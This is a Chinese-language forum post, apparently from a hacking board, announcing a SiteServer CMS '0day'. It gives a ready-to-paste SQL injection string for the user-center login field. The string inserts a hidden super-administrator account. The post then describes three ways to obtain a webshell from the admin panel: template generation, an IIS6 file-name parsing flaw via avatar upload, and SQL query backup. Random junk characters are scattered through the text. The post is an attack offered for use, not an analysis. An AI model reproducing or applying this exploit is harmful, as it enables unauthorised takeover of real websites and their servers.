SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn
: ]0 x9 ]* g. k. K; r" _% a
5 v2 |% B  X8 y1 N/ ]* X

  ?& W# u9 y% A2 ?EXP:

直接访问UserCenter/login.aspx


1 S8 B8 i4 |9 K$ n8 B$ C0 ?
用户名处输入：

  T8 J7 {0 k' A9 V- _* D123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--



6 u5 ]0 p5 Z0 W! _9 |4 H4 ]密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。



之后再访问后台SiteServer/login.aspx用插入的用户登陆


& U0 }1 O# x' G3 p8 r' k
" A3 G8 X2 a$ H5 W4 ~) a  a后台拿webshell的三种方法：

, Y# I. l: [  o一、

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
9 I4 B+ [* K$ q* S
二、

$ }2 F" Q% s' D* K成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/
7 j5 P* T0 p0 x  U; }
+ P& ^" J" A1 r/ i: C用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

（ps：后台添加用户时不会验证是否含有非法字符）
; `" @" r* `( z
三、

) r) i) l0 b8 a+ L( [) P; F; d: }! Z) L系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径

$ O/ M  ~7 U; o4 o系统工具-》数据库工具-》SQL语句查询
9 ~' U/ \) z# }7 J, [) L这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
6 N" I% G2 `' n+ r( b; |